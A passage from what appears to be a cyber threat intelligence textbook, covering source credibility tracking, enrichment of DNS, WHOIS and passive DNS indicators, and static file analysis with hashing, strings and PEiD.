			Evaluating sources is best thought of as a composite examination of the source itself. It's extremely important to identify whether sources are credible and trustworthy. A source could be an actor that the analyst is communicating with on an underground forum, as an example. Ideally, source evaluation will happen over a period of time, based on the experience of receiving data or intelligence and from the determination of value and accuracy. 

			To help aid in evaluating a source, there are some considerations:

			
					First-time source engagement: When engaging with a source for the first time, the merits of the data should speak for themselves, independent of source considerations.

					Analyze layers of data: Always understand how the data or intelligence made it into the source's hands. As additional hand-offs occur, the likelihood of inaccurate or incomplete intelligence rises.

					Consider proximity to the data origination point: Proximity refers to how close the source is to the origination point of the intelligence or data. A close proximity example would be the source retrieving or receiving the intelligence or data directly. A lower proximity would be the source receiving the files from an independent third party. 

					Understand your sources' knowledge: Understanding the sources' knowledge base will continue to act as a barometer to gauge the intelligence or data being sourced. If data or intelligence that falls outside of the source's expertise crops up, that intelligence or data should be examined with a careful eye. 

			

			While these are just considerations to think about when evaluating a source, there are realistically two different rating types that can assist in evaluating a source on a more empirical level. These collection ratings help give substance to an analysis of the source's credibility and the intelligence provided. 

			In the following section, we will examine both rating indicator types – source and information rating indicators.

			Source rating indicator

			A Source Rating Indicator (SRI) is a rating given to enriched intelligence that was generated or gathered. First revealed in Chapter 1, Why You Need a Threat Intelligence Program, the SRI helps establish how reliable and trustworthy a specific collection source is. It's paramount that SRIs are used when rating sources based on the importance of a source's credibility, accuracy, and value. 

			As we saw earlier in Chapter 1, Why You Need a Threat Intelligence Program, an easy-to-follow code-based system for assessing and assigning credibility can be broadly used to evaluate sources before, during, and after any collection engagements. As a refresher, we have laid out the reference in the following table:
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			Using the preceding table, a researcher or analyst should track engagement sourcing in a systematic fashion. Engagements using or utilizing sources should be tracked anytime there is an exchange of intelligence, data, or information. While there are many solutions to tracking credibility and interactions with sources, and while not maintainable at scale, a spreadsheet provides a quick and easy solution for tracking, as witnessed in the example shown in the following table:
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			Like every other tracking example we have introduced throughout the book, the collection manager should standardize the nomenclature used by the tracking system so that everyone uniformly understands the purpose of the data being inputted. The following are the definitions for each of the fields we included in our example:

			
					Source: The source field is intended to capture the source name or pseudonym. The source could be a specific proper name, a screenname/username, or a pseudonym. Additionally, the source field can correspond to the source protection tracker we introduced in Chapter 5, Operational Security (OPSEC), should you have a need to keep the source of the information undisclosed.

					Key: The key field is intended to be a unique identifier that can be used or referenced in other key documents, policies, and guidelines. While not articulated in detail here, the option to utilize an expanded key with additional context is an option should you wish.

					Description: The description should be a concise description of the data and the related context of the data, where necessary or applicable. The description should include any relevant context necessary from the source, such as TLP requirements and any other stipulations of the data use.

					SHA256: The SHA256 field should include all file hashes received from the source as part of the investigation. This should not include file hashes that fall outside of the scope of investigation.

					Infrastructure: The infrastructure field is intended to capture any URL, domain, or IP shared from the source. The infrastructure source should include any infrastructure that would be used as part of the investigation, such as command-and-control infrastructure. 

					Credibility: The credibility rating is the chosen organizational code for rating a source's credibility. The credibility rating should be derived similarly to that found in the aforementioned table. This allows for easy standardization when tracking source engagements.

					Related PCR/IRI: The related PCR/IRI is any referenced PCR or IRI identified in other systems or policies. Related PCRs or IRIs may relate directly or indirectly, but regardless, related PCRs or IRIs should be correlated where possible. 

					Source ID: The source ID is the source ID found and discussed in Chapter 5, Operational Security (OPSEC). The source ID is an autoincrementing identification number for source tracking and entry that can be used as a primary key or even a unique identifier. 

			

			Now that we've rounded out the different ways you can measure an organization's collection efforts, this also concludes the collection operations life cycle. The insights that were garnered through the rating of sources and the development of the collection performance metrics should now be utilized by the collection manager to plan for the next collection operations life cycle.

			Summary

			In this chapter, we tried to articulate the importance of Collection in the intelligence life cycle, a section that is often overlooked by the private sector whose foundation has roots in the government and the military. Hopefully what you garnered through this chapter is the importance of the collection management process, the role that the collection manager plays in any organization, and the collection operations life cycle, which details the efforts of intelligence gathering.

			We broke down each phase of the collection operations life cycle by focusing first on reviewing what you know about your collection effectiveness, surveying the needs of the organization while reevaluating the PCRs, planning and administering the collection operation, performing the collection operation, evaluating the collection and source information, and creating collection metrics. Collection metrics provide you with insight into your overall collection effort and can be utilized to shift your programs and investment. Since this is a cyclic operation, the cycle repeats.

			The collection management process is difficult to implement for some private sector organizations and this is largely just because not enough of this phase of the intelligence life cycle has been exposed to private sector organizations. Does your CTI organization have a collection manager or even a collection management team? If so, then you may be better off than most organizations. 

			While this chapter solely focused on the collection of data and intelligence gathering, the next chapter will focus on the vetting and enrichment of observable data by adding context and removing incorrect data. It will discuss extracting data types from disparate observable information and enriching vetted data types, such as domains, IPs, URLs, and files. Furthermore, we are going to introduce you to static file analysis tools and artifact generation through file execution, as well as explaining what sandbox analysis report interpretation should look like for intelligence analysts.

		

	
		
			Chapter 7: Technical Threat Analysis – Enrichment

			Collecting data and intelligence is vastly different than analyzing it. While many organizations don't leverage collection in a formalized way, many organizations do perform analysis on cyber threat intelligence and data in some capacity. Data without context is just that – data. However, with proper context and analysis applied, that data can then become intelligence.

			In Chapter 1, Why You Need a Threat Program, we explained that the third stage of the intelligence life cycle is analysis. One of the most important phases, the analysis phase, involves exploiting data that is received as part of the collection phase to perform analysis or enrichment on that data, ultimately refining it and establishing value to prepare for the next phase – production. Analysis and enrichment are very closely related, with analysis being a detailed examination of threat intelligence data and enrichment being the act of improving or enhancing the threat intelligence data.

			Throughout this chapter, we will be discussing technical threat intelligence enrichment and analysis, which will cover the process of adding context to threat intelligence data and enhancing or improving that data, such as removing false positives or incorrect intelligence data. This chapter will also dive into how to enrich and analyze domains, IPs, URLs, files, and more.

			In this chapter, we are going to cover the following topics:

			
					The need and motivation for enrichment and analysis

					Infrastructure-based IOCs

					File-based IOCs

					Dynamic malware analysis 

					Reverse engineering

			

			The need and motivation for enrichment and analysis

			For threat intelligence and security teams to successfully sift through the mountains of data that is often generated from an organizational environment, CTI and security functions need to examine enriched or contextualized data to action their workflows and understand the attack itself. This need is often achieved through an enrichment process, or the act of adding contextualization to specific data, making it more actionable.

			Threat intelligence enrichment or analysis is the process of appending or enhancing the relevant context for data and, more specifically, threat intelligence data. Additionally, enrichment encompasses normalization processes for processing CTI data, such as deduplication. CTI functions aren't the sole beneficiary of enriched threat intelligence. Many additional teams outside of threat intelligence can benefit from enrichment, such as incident response, forensics, network security, Security Operation Centers (SOC), and more. Likewise, CTI functions are not often the sole team that performs threat intelligence enrichment. SOC functions or incident response teams may routinely enrich intelligence data as well. 

			A good example of enrichment involves the threat hunting team uncovering files that had been hosted on a domain that the SOC was already investigating, enabling the SOC to proactively block the hunting team's finding. That additional enrichment is another piece of the investigative puzzle, leading to additional actionable intelligence. 

			The way enrichment is completed and performed varies based on the organizational need and function, and enrichment is also determined at the team level. For instance, the SOC may enrich threat intelligence data differently than the CTI or incident response function. Most often, enrichment is performed after receiving threat data from internal telemetry and logging sources, feeds, and other services such as VirusTotal. Enrichment details can and should be stored in a Threat Intelligence Platform (TIP) and/or Security Information and Event Management (SIEM) platform for later retrieval, searching, and filtering. 

			Enrichment also includes the process of eliminating false-positive or spurious and irrelevant intelligence and data. This data analysis will also determine many of the items that we explored in Chapter 1, Why You Need a Threat Program, such as intelligence credibility, admiralty, priority, and value, which will further enable sharing and proactive blocking or alerting. Enrichment also includes assigning a source credibility rating, as we saw previously in this book.

			Finally, threat intelligence data needs to be shared contextually and produced. In many modern-day TIPs, methods for sharing contextualized and fully enriched intelligence to external entities exist, such as the SOC or third parties external to the organization. Enriched IOCs can be used in the production phase of the intelligence life cycle, which includes adding indicators to organizational blocklists or being used to hunt proactively during an incident response engagement.

			Now that we've examined threat intelligence enrichment and determined its need, let's dive into our first foray of intelligence enrichment on infrastructure-based IOCs.

			Infrastructure-based IOCs

			Analyzing, enriching, and understanding malicious infrastructure is valuable when you're creating actionable intelligence that is timely, actionable, and relevant. Malicious infrastructure can originate from virtually anywhere, including logs, OSINT feeds, and blocklists. 

			When you're analyzing malicious infrastructure, there are many ways to enrich and analyze infrastructure-based IOCs. In terms of the specifics, we'll focus on three primary datasets that we extract intelligence value from – DNS, WHOIS, and passive DNS. When analyzed individually, these three datasets and their data often do not indicate maliciousness directly. However, when analyzed together, intelligence and maliciousness are often more easily understood and determined.

			Each dataset provides analytical value, as we'll see in the following subsections.

			Domain Name System (DNS)

			The Domain Name System (DNS) is a foundational concept in computer networking. The DNS translates requests for domain names into IP addresses, dictating and controlling what a user will reach when they type a domain name into a browser. A good way of summarizing the DNS is that it's the phone book of the internet. Just as there is a litany of data available in a phone book, there is a litany of data available in DNS-specific datasets. 

			Now, let's look at some of the best intelligence that can be derived from DNS datasets.

			Nameserver

			Fundamental to the internet, nameservers help connect and direct URLs to the IPs of the servers and infrastructure running content. Nameservers traditionally look like normal domain names, and when you look at a website's nameservers, you'll typically see that two, three, or more nameservers have been defined. We won't cover nameservers and their functionality in great detail in this book as other resources are available that can help us learn about nameserver functionality. 

			However, from a threat intelligence perspective, identifying and analyzing nameservers can provide valuable threat intelligence and data, such as the following:

			
					While not foolproof, a low number of nameservers typically indicates that the infrastructure is not widespread, and possibly indicates that the nameserver is part of a smaller piece of a threat campaign.

					While not a direct malicious indicator, nameservers that differ from that of the infrastructure that the nameserver has been registered from could indicate a more purpose-built infrastructure.

					If there's a small number of domains pointing to a nameserver, this is a possible indication that the infrastructure is being stood up and operated by a threat actor.

					Specific or custom set nameservers often indicate that the threat actor controls and owns the specific infrastructure being leveraged as part of the attack.

			

			While nameservers, in and of themselves, are typically not direct indicators of maliciousness, nameservers certainly help paint a picture of maliciousness when they're combined with other data elements, such as SOA records. 

			DNS data can often be queried by a multitude of different free and paid-for services, such as PassiveTotal (https://www.passivetotal.com), Censys.io, DomainTools (https://www.domaintools.com), and whoisxmlapi.com.

			IP address

			First, let's examine IP addresses that can be derived from DNS. Identifying an IP address that is being used to host a domain can provide a jumping-off platform to identify other domains that are hosted on the same IP address. For example, a good analytical pivot involves focusing on an IP address hosting fewer domains, as there is a higher likelihood that we can hypothesize intent or correlation points between the infrastructure that's being used by a threat actor. Additionally, analyzing a high number of IPs that are constantly changing and are associated with a single domain could indicate that a fast-flux DNS attack is being conducted. 

			Determining the current IP address that's associated with a domain can easily be done using a command-line tool, which is native to most operating systems nowadays. 

			For example, you can use the following command to determine an IP address:

			$nslookup  www.google.com

			Non-authoritative answer:

			Name: www.google.com

			Address: 142.251.32.4

			With an IP address, an incident responder or CTI analyst can pivot and look for other registered domain names, which can sometimes indicate that the infrastructure is part of a wider campaign. Some of these concepts will be examined in more detail in Chapter 8, Technical Threat Analysis – Threat Hunting and Pivoting. In this example, this could also enable the SOC function with new domains to proactively monitor or block that newly identified infrastructure. IP addresses can also be used as part of the C2 infrastructure and contain open directories, which can help us understand attacker capabilities. A good example of analyzing a domain and its historical IP resolutions includes RiskIQ's PassiveTotal (https://community.riskiq.com/home):
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			Figure 7.1 – Current and historical resolutions using PassiveTotal

			Using utilities such as Shodan (https://www.shodan.io), PassiveTotal, or Censys (https://www.censys.io) can also help us gain an understanding of the domains that are hosted on an IP address:
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			Figure 7.2 – Domain names hosted on a specific IP address in PassiveTotal

			Now that we've examined the intelligence value that IP addresses can generate, let's examine mail exchange records. 

			Mail exchange (MX) records

			A mail exchange (MX) helps direct emails to a mail server. MX records specify the specific mail server that is responsible for accepting emails on behalf of a domain. It's possible to have several MX records assigned on a domain, which are typically used for load balancing and redundancy purposes. 

			From an intelligence perspective, an MX record can provide several points of intelligence value. First, if the MX records match up with the domain itself, this indicates that the infrastructure has likely been set up or is maintained by the domain owner. Knowing this could help indicate if the infrastructure was targeted in nature. 

			Additionally, the number of MX records on a domain could indicate not only whether the infrastructure has been set up by the domain owner, but could also glean more information about the infrastructure that's being used by the attackers, such as their mail server IP addresses and domains. For example, if the domain has a different mail server domain or IP address, that could be a cause to investigate the related infrastructure. 

			Outside of tools such as PassiveTotal or DomainTools, a quick and easy example of determining an MX record is as follows:

			$nslookup -type=mx yahoo.com

			Server:        192.168.154.1

			Address:   192.168.154.1#53

			Non-authoritative answer:

			yahoo.com  mail exchanger = 1 mta5.am0.yahoodns.net.

			yahoo.com  mail exchanger = 1 mta7.am0.yahoodns.net.

			yahoo.com  mail exchanger = 1 mta6.am0.yahoodns.net.

			Just like nameservers, MX records, in and of themselves, are not direct indicators of maliciousness, but they can help portray a story of maliciousness when they're aggregated with other data points. 

			MX records, while not directly indicative of maliciousness, can help develop the gut feel of the analyst, helping them easily determine maliciousness from benign. 

			Now that we've looked at MX records and the value of DNS-based data, let's look closer into our second dataset for analysis – WHOIS records.

			WHOIS

			WHOIS is a protocol that handles queries and responses, with its primary function being to query WHOIS databases that are provided and maintained by registrars and registries. There are thick versus thin WHOIS queries, with thick WHOIS queries including the most data, and thin WHOIS queries containing relatively scant details. These databases are not centrally managed.

			WHOIS databases contain a wealth of intelligence information when they're not masked, such as IP addresses, phone numbers, email addresses, first and last names, and more.

			Let's examine this WHOIS data in greater detail to determine what type of intelligence value we can derive from it.

			Registrant information

			Registrant contact information is information about an organization or individual that registers a domain name. While registrant information used to be easy to analyze, the EU's General Data Protection Regulation (GDPR) and registration proxies have had an impact on many WHOIS records, making their intelligence value more limited in scope when it comes to analyzing registrant information. The Internet Corporation for Assigned Names and Numbers (ICANN) created a policy that mapped to GDPR that limited the amount of personally identifiable information (PII) that can be included in registrant records, as shown in the following screenshot:
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			Figure 7.3 – Example of a GDPR information masked domain

			While this is a win for privacy advocates, it still often hampers a CTI analyst's ability to perform investigations based on malicious actor infrastructure with obfuscated WHOIS data. Additionally, many malicious actors leverage registration proxies to obscure the registrant of malicious infrastructure, making it difficult to analyze and enrich some threat actor infrastructure:
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			Figure 7.4 – Example of registrant information from whoisxmlapi.com

			However, even with GDPR and registration proxies, a wealth of information is still available when it comes to analyzing registrant contact information that isn't affected by GDPR or registration proxies. Registrant information can contain a wealth of information, either about the threat actor or about pivot platforms and their activities, such as registrant email addresses or organizations, which we will examine in more detail in Chapter 8, Technical Threat Analysis – Threat Hunting and Pivoting. Many times, from both a cybercrime and nation-state espionage perspective, a threat actor will also have OPSEC failures during the domain registration processes, resulting in valid threat actor registrant information being released. 

			Not all registrant information is valuable from an intelligence perspective. For instance, registrant country information is extremely broad, prone to developing observation biases, and often does not provide enough intelligence value upfront. 

			However, other pieces of registrant information are highly valuable, including the following:
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			Each registrant information data field can potentially provide a vast array of enrichment and pivoting opportunities. When the registrant information isn't masked or obfuscated, it becomes a wonderful pivot point for hunting-related and tangential threat actor infrastructure, which will be covered in more detail in Chapter 8, Technical Threat Analysis – Threat Hunting and Pivoting.

			When looking for and analyzing registrant data, several sources can help you perform WHOIS lookups. One great free resource whoisxmlapi.com, a free research tool that makes extracting registrant information quick and easy. 

			Registrar information

			Registrars are the actual businesses or commercial companies that purchase the domain on behalf of the registrant. As we saw regarding other pieces of WHOIS data, registrar information is not a direct indication of maliciousness and its importance for intelligence extraction is varied. Understanding and developing a gut feeling for registrars that condone and enable elicit activity, such as bulletproof hosters, can be done by analyzing registrar information over time. Simply put, some registrars are more trustworthy than others:
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			Figure 7.5 – Registrar information on PassiveTotal

			Relevant data to consider for intelligence enrichment and extraction includes organization names and addresses. While often not direct indicators of maliciousness, CTI analysts can pivot off information from certain registrars, depending on their registering locale and investigation focal point.

			Creation and expiration dates

			The creation date is a good temporal indicator of domain age. Again, while not a direct indicator of maliciousness, the creation and expiration dates of domains give us a relative idea of the domain's newness. For example, while not always the case, of course, it's often found that domains that are less than 30 days old have a higher likelihood of being malicious. This is due to several factors, and while not directly indicative of malicious behavior, creation and expiration dates should be a data analysis consideration point:

			
				
					[image: Figure 7.6 – First and last seen dates on PassiveTotal

]
				

			

			Figure 7.6 – First and last seen dates on PassiveTotal

			Important Note

			Another important aspect to consider when looking at WHOIS records is historical WHOIS records. Historical WHOIS data can sometimes yield good results from a threat intelligence perspective. As domain registration proxies and regulations such as GDPR become more prevalent, looking at historical WHOIS data can sometimes show historical and different domain registrant and registrar information that was done before a registration proxy or regulation took effect. Many paid-for services provide historical WHOIS information, with one of the predominant players being DomainTools. 

			WHOIS and DNS information provides a wealth of intelligence information about a domain, IP address, and more. Now that we've examined the DNS and WHOIS data, as well as where we can extract valuable information, let's examine another important dataset – passive DNS.

			Passive DNS

			Passive DNS (pDNS) is a way of storing DNS resolutions over time, making analyzing past DNS record changes and values possible and easy. pDNS is often analyzed to uncover malicious infrastructure that's used in threat activities. For example, when a DNS value changes, the record of that change is not saved anywhere by default; however, with pDNS, that record is stored for historical analysis:
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			Figure 7.7 – Passive DNS results for Google.com from AlienVault's OTX platform

			pDNS functions via a network of global sensors that log several pieces of data, such as query and response pairs, and the first and last time a record was seen. pDNS data can help solve several analytical questions, such as the following:

			
					What IP address does a certain domain have currently, or had historically?

					What are the subdomains of a specific domain or IP address?

					What were the first seen and last seen dates of a specific domain?

					What domain names point to a specific IP block?

			

			Due to the natural functionality of pDNS, several records and data points can provide intelligence value. While an entire chapter could be written on pDNS, some of the most common pieces of pDNS data you should focus on for intelligence enrichment are as follows: 
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			Accessing pDNS information can often be accomplished via paid-for and free services, each of which has benefits and downfalls. However, some of the most popular pDNS sources include PassiveTotal (https://community.riskiq.com/) and the free AlienVault OTX (https://otx.alienvault.com). As an example enrichment point, when using PassiveTotal, it's easy to find subdomains to examine and potentially block or monitor:
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			Figure 7.8 – Subdomains found on a domain in PassiveTotal

			Note that dynamic DNS providers are commonly leveraged with attacker infrastructure. This process allows attackers to easily create dynamic domain names on the fly, with relatively little effort. It also enables, to some degree, threat actor OPSEC, since it's hard to determine much information about the domain itself when dynamic DNS infrastructure is leveraged:

			
				
					[image: Figure 7.9 – Dynamic DNS provider identified on PassiveTotal]
				

			

			Figure 7.9 – Dynamic DNS provider identified on PassiveTotal

			Now that we've spent some time discussing infrastructure-focused datasets (DNS, WHOIS, and pDNS) and understood their intelligence value, let's learn about the IOCs that can be extracted from files that may have been collected or analyzed as part of your CTI operation. 

			File-based IOCs

			No matter what collection methodology is used to obtain unknown files, your organization can utilize several file analysis techniques to examine them. These techniques help derive file artifacts that can be used to determine the maliciousness of the file. Additionally, these file artifacts can be IOCs themselves or can help you generate file-based IOCs that can be used to identify the file or artifacts of the file's execution. These artifacts and IOCs can even be used to block activity on the endpoint or in the network; detection would mean that the file is successfully executed in your organization's environment.

			File analysis techniques fall into three main categories:

			
					Static tool analysis: This type of file analysis means that the researcher is focusing on what the file is. If it is harmful or malicious, any intelligence value that's provided by utilizing a software application or tool that derives artifacts and IOCs can be used to determine if the file is malicious and if there's intelligence value. Decompilers and disassemblers are commonly used as static tools to closely examine files. 

					Dynamic Analysis: This type of file analysis is usually performed when the researcher has determined that the file is in an executable format or can be opened by another software application. Dynamic analysis is when a researcher sets up an environment with tools that monitor the activity in the operating system when a file is being loaded or executed. Most dynamic analyses are performed on executable file formats, such as the Executable and Linkable Format (ELF) binaries for Unix operating systems and the Portable Executable (PE) format for Windows operating systems. However, as we mentioned previously, other files warrant dynamic analysis as these file formats have been known infection vectors for malware. These include the Adobe Portable Document Format (.pdf) and even Microsoft Office files.

					Reverse engineering: Finally, the most technically advanced methodologies of file analysis consist of reviewing the disassembly of a binary or the output of the decompilation of the binary. Disassembly is the act of converting binary instructions into code mnemonics, which are usually represented in assembly language. A debugger is often used to walk through a file's disassembly during execution. Decompilation is the act of trying to take the disassembly and represent it in a higher-level language before the file is compiled, such as C or C++. The advantage of reverse engineering a file is that a researcher can identify the heuristic functionality of a file that may have not been executed in a dynamic environment. 

			

			Over the remainder of this chapter, we will discuss all three file analysis methodologies, including how to use IOCs to determine maliciousness and how to create signatures to hunt and identify these files in your environment. 

			File artifacts

			A file artifact is a form of data representation that is usually tied directly to the file itself. This data can be generated by the operating system or be extracted by a tool. An example of the data that's generated by the operating system is the file's MAC times. MAC is an acronym that represents the file's modification, access, and change or created times that the operating system generates and stores in the filesystem. Some examples of file artifacts that can be derived using a static tool include the file's header information, the file's signatures, and even the file hash. We will discuss all three in the following subsections.

			File headers

			A file's header is a structured data representation that contains information about the file and its contents. The operating system utilizes this information to determine how to execute the application that will be needed to open the file. The file header is usually located at the beginning of the file and can contain details about the logical and physical representation of the file. The information that's contained within the file header can be used to determine what type of file it is. This information can be determined by identifying and examining the signature of the file. 

			File signatures

			Because hexadecimal editors are usually used to identify a file's signature, the signature can be represented in two ways – its byte representation and its American Standard Code for Information Interchange (ASCII) representation. ASCII is a character encoding standard for electronic communication. We will learn more about hexadecimal editors later in this chapter. All you need to understand right now is that the hexadecimal editor allows you to visualize the binary code of the file in hexadecimal byte representation with two characters between zero and nine and from the letters A through F. The combination of these two characters represents eight bits of binary data or one byte. Because every byte that's represented by hexadecimal notation can also be directly converted into an ASCII representation, you will see both forms when we talk about file signatures. An example of the hexadecimal and ASCII forms that are usually found in hexadecimal editors is as follows:
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			Figure 7.10 – Example of hexadecimal and ASCII in a hexadecimal editor

			A file signature is used by the operating system to determine the type of file it is working with or even to verify the contents of the file. A file's signature is usually embedded in the file's header and is located near the beginning of the file. Here are a few file signatures to help you get a better understanding. 

			The following is an image file that's been encoded in the Graphics Interchange Format (GIF):
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			Figure 7.11 – Example image file encoded in GIF format

			The following is an encoded Windows Portable Executable (PE):
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			Figure 7.12 – Example Windows PE file

			The file signature will tell a researcher what type of file they are dealing with so that they can test the file, either by using the appropriate software application to read the file or by executing the file in the operating system and observing the behavior upon execution.

			File hashing

			You cannot simply rely on the name and file extension to uniquely identify a file type. It would be trivial to create two different files with the same name and extension but have the contents of each file be completely different. Because of this, and the need to represent a file by its unique value in the CTI field, a file is usually referred to by the file's hash. The hash of a file is a unique fixed-length alphanumeric string that is a result of running a hashing algorithm against the file. Any byte-level changes that are made to the file will change the generated hash of the file. At the time of writing, the SHA-256 hashing algorithm is the most commonly used hashing function in the private industry.

			The SHA-256 hashing function is a subset of the Secure Hash Algorithm 2 (SHA-2) series of cryptographic hash functions, as developed by the National Security Agency and first published in 2001. Most operating systems contain a vehicle to produce file hashes natively, though many different static analysis tools have this capability.

			To compute the SHA-256 value of a file with the aid of the operating system, you can utilize the operating system's shell, command line, or PowerShell tools. An example of each command, by shell, is as follows:

			
					Linux:sha256sum /path/to/file


					OS X:shasum -a 256 /path/to/file


					Windows command line:CertUtil -hashfile C:\path\to\file SHA256


					Windows PowerShell:Get-FileHash C:\path\to\file -Algorithm SHA256


			

			One final note about the file's hash: if your analysis determines that the file that you are looking at is malicious, the file's hash will also be referred to as an IOC that can be referenced and enriched. We will discuss this verdict based on file analysis results later in this chapter. For now, let's look at some static analysis tools and how they can be utilized. 

			Static tool analysis

			As we mentioned earlier, static tools analysis is performed on files via a software application or script that derives artifacts and IOCs. These can be used to determine if the file is malicious and can help extract intelligence values. Several free and open source tools have a gamut of uses that we would recommend. In this section, we are going to introduce you to some of the tools we use and discuss their usefulness.

			Strings

			Earlier in this chapter, when we discussed file headers, we introduced you to the concept that the hexadecimal byte representation in a file could be converted into an ASCII representation. This is because there is already a character encoding standard that directly converts hexadecimal into its direct ASCII counterpart. As the adoption of technology grew, it was very clear that ASCII did not represent every country's language needs. So, in 1991, the first version of Unicode was introduced. It was specifically invented to allow more character sets than just ASCII. Like ASCII, Unicode is a character encoding standard with more character set representation. Also, like ASCII, hexadecimal byte representation can easily be directly converted into its Unicode representation. With this in mind, let's introduce you to the concept of strings.

			A strings application looks at the hexadecimal byte representation of a binary file and attempts to identify clusters of characters with a length of three or more, either in ASCII representation or Unicode representation. The artifacts that are generated by the application are just strings of text representations, which we will refer to as the artifacts to not confuse you with the strings application references. Because data that is defined in a program's higher-level language representation is directly embedded into a binary file during compilation, it is possible to find all sorts of information embedded in a file by utilizing the strings application. This could be anything from imported functions from Windows library files, infrastructure-based IOCs, file and registry paths, and so on. Strings are used to identify these artifacts for further analysis.

			There are many different versions of strings applications – ones that are native to the operating system, some that can be downloaded and run from the command line, and even versions with user interfaces and Windows shell extensions. Let's cover all three.

			Linux

			In the Linux operating system, Strings is a native application that can be used from the shell. The syntax of the strings application is as follows:

			Strings [OPTIONS] FILENAME

			Grabbing the ASCII character representation of a file is quite simple. However, let's look at some samples with options that can be more helpful for researchers.

			The default behavior of the Linux strings application is to only print character sequences that are at least four characters long. To adjust this, we can use the -n option, followed by a number that represents the new character limit:

			strings -n 6 path/to/file > file.ascii

			In addition to increasing our character limit in this command, we are writing the buffer output to a file named file.ascii so that it can be reviewed later. This output can be improved upon by simply identifying the offsets where this information was extracted. To do this, we can add the -t option and the radix of the offset we would like to use – o for octal, x for hexadecimal, and d for decimal. Now, our improved command looks like this:

			strings -n 6 -t d path/to/file > file.ascii

			Finally, to change the encoding that strings is looking for, you can simply use the -e option, followed by the encoding flag you want to utilize:

			strings -n 6 -t d -e l path/to/file > file.unicode 

			While a strings application is built directly into the Linux operating system, this is not the case for Windows operating systems, so aftermarket applications need to be installed in the operating system for a researcher to utilize strings applications there.

			Windows Sysinternals strings

			To use strings from a command line in Windows, you must download and install the application that is currently being distributed as a Sysinternals utility. The current version can be downloaded from https://docs.microsoft.com/en-us/sysinternals/downloads/strings. There are a few differences in the Windows utility that are different from the Linux version. These include the fact that the Sysinternals strings application scans the file you pass it for both Unicode and ASCII strings at the same time with character sizes of three or more by default. We can use the strings application as follows:

			strings [-a] [-f offset] [-b bytes] [-n length] [-o] [-q] [-s] [-u] <file or directory>

			The complete documentation for all the command-line options can be found at the aforementioned URL. One thing to note about the Sysinternals version of strings is that it can take wildcard expressions for filenames and can be combined with other commands. The documentation for strings shows an example that creates a powerful search engine that can scan multiple files and search for a specific string, as shown in the following example:

			strings * | findstr /i TextToSearchFor 

			This sample tells the computer to scan for strings in all the files in the current location and then uses the findstr command to search for patterns of text. The /i option tells findstr to ignore any case for characters; TextToSearchFor is the pattern of text you are looking for. 

			As you can see, while there is a version of the strings application that allows it to be used from the command line, versions of the application have been rolled into user interfaces and even integrated with the Windows environment to make its usage even simpler. 

			Malcode Analyst Pack (MAP)

			The Malcode Analyst Pack (MAP) used to be distributed through a cybersecurity company known as iDefense, but it is now maintained by one of its former employees, David Zimmer. The installer for MAP can be downloaded from http://sandsprite.com/iDef/MAP/. It installs several File Explorer shell extensions that allow a user to right-click on a file and run strings against that file or even upload the sample directly to VirusTotal. The following screenshot shows an example of this:

			
				
					[image: Figure 7.13 – Example of the MAP shell extension]
				

			

			Figure 7.13 – Example of the MAP shell extension

			Running strings against the file with the shell extension will launch a small application with the strings of the file. This provides you with some very basic but useful functionality. An example of the user interface that MAP provides for strings can be seen in the following screenshot:

			
				
					[image: Figure 7.14 – The MAP user interface
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			Figure 7.14 – The MAP user interface

			In the preceding screenshot, you can see that the strings user interface provides the researcher with the filename, the MD5 checksum, the size of the file, and the ASCII and Unicode strings. The largest benefit of using this program is that you can narrow strings down by utilizing the Find feature or adjusting the character length limit directly in the user interface.

			PEiD

			While developing and testing a malware payload, a threat actor may determine that they want to utilize an executable packer to compress and encrypt the contents of the original file. The new file that is created through this process is referred to as a packed file. This has several advantages for the threat actor, on top of creating a smaller payload for distribution. The executable's compression and encryption also serve to hide the original heuristic functionality from endpoint scanners and deter malware reverse engineering by preventing direct disassembly of the original code, masking the strings in the original code, and even preventing signature detection. Malware reverse engineers will want to unpack or undo the changes that have been made to the file by an executable unpacker to reverse engineer the file with a disassembler or a debugger with no issues. 

			Fortunately, several open source tools can be used to pull the PE file artifacts directly from a file. You can also use signatures against the file to determine if the file is packed or even identify the original compiler of the file. One such tool is PE iDentifier, also known as PEiD. PEiD comes preloaded with over 600 signatures out of the box and can be extended with additional user-add signatures to extend its capability. Unfortunately, PEiD is no longer a maintained software but even so, it is still widely used because of its popularity, capability, and extensibility. PEiD can be downloaded from https://www.softpedia.com/get/Programming/Packers-Crypters-Protectors/PEiD-updated.shtml. The following screenshot shows PEiD's main user interface:
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			Figure 7.15 – PEiD main interface

			In the space that reads ASPack 2.12 -> Alexey Solodovnikov is where PEiD will communicate with either the executable packer that packed this file or identify the compiler that compiled the file. In this instance, PEiD is telling us that the file we are looking at is packed with an executable packer known as ASPack. One thing to note is that executable packers are not necessarily illegal; many are completely legal software but unfortunately, they are used by threat actors for malicious purposes. ASPack is a legal piece of software that can be purchased at http://www.aspack.com/. Knowing the executable packer that has been used to pack the file is crucial as the same software that packed the file is usually the same software that can unpack the file, restoring it to its original code state, which is the result of compiling the higher-level language the payload was written in. 

			While identifying the executable packers that pack files is crucial to restoring them for analysis, tools such as PEiD, which parse artifacts from PE files, usually have benefits and features that can assist with analysis. The following screenshot shows the section viewer that's built within PEiD:

			
				
					[image: Figure 7.16 – PEiD's PE Section Viewer]
				

			

			Figure 7.16 – PEiD's PE Section Viewer

			A PE file consists of different sections that contain the file's executable code, data, and resources. PEiD can parse this information automatically from the file's section headers directly for the user. For researchers who have limited funding and cannot afford the costs associated with commercial disassemblers, PEiD has a built-in disassembler, as shown in the following screenshot:
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			Figure 7.17 – PEiD's Disassembler

			As you can already begin to see, PEiD, a program mostly marketed as a tool that's used to identify executable packers, has a load of built-in features that can even lower the barrier to entry to reverse engineer by providing a built-in disassembler. PEiD even has a built-in strings application that has similar functionality to MAP, as shown in the following screenshot:
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			Figure 7.18 – PEiD's String Viewer

			The capabilities that are embedded within the PEiD application do not end here. The application can parse the PE structure directly from the PE file and make this information available to the researcher. This can be seen in the following screenshot:
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			Figure 7.19 – PE file artifacts

			The data shown in the preceding screenshot is information that is directly embedded in every PE file – that is, artifacts about the PE file. All of this artifact information has meaning and applicability for researchers as it contains information about the file that was determined at compile time. It explains to the operating system's loader what this file looks like and how it should be treated when it's created. More information about what the PE format contains can be found in Microsoft's documentation about the PE format: https://docs.microsoft.com/en-us/windows/win32/debug/pe-format. 

